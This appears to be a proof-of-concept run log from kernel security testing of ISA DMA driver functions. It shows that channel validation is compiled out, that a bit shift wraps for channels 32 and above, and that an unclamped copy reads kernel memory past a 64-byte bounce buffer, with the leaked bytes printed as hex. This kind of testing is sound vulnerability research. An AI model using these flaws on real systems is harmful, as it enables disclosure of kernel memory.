DF-5520 / run.log
login: df5519: [1] isa_dma_acquire(2) = 0 (expect 0) isa_dma_acquire: channel 34 already in use df5519: [1] isa_dma_acquire(34) = 16 (expect 16=EBUSY: 1<<34 wrapped onto bit 2) df5519: [2] after isa_dma_release(34): isa_dma_acquire(2) = 0 (expect 0: release(34) cleared bit 2) df5519: [3] isa_dma_acquire(9) = 0 (expect 0: invalid chan accepted, no DIAGNOSTIC panic) df5519: PROVEN: chan validation compiled out in production; 1<<chan wraps for chan>=32 df5520: isa_dma_acquire(1) = 0 df5520: isa_dma_init(1,64) = 0 (64-byte bounce chunk in the <16MB arena) df5520: isa_dmastart(READ, 64 bytes, chan 1) programmed df5520: isa_dmadone(READ, nbytes=0x800, chan 1): unclamped bcopy out of the 64-byte bounce buffer df5520: outbuf contents past byte 64 are kernel low-memory data NOT part of any DMA transfer: df5520: leak+00030: e7 e7 e7 e7 e7 e7 e7 e7 e7 e7 e7 e7 e7 e7 e7 e7 df5520: leak+00040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 df5520: leak+00050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 df5520: leak+00060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 df5520: leak+00070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 df5520: leak+00400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 df5520: leak+00410: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 df5520: leak+00420: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 df5520: leak+00430: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 df5520: done (kernel heap OOB read demonstrated; contents land in driver buffer)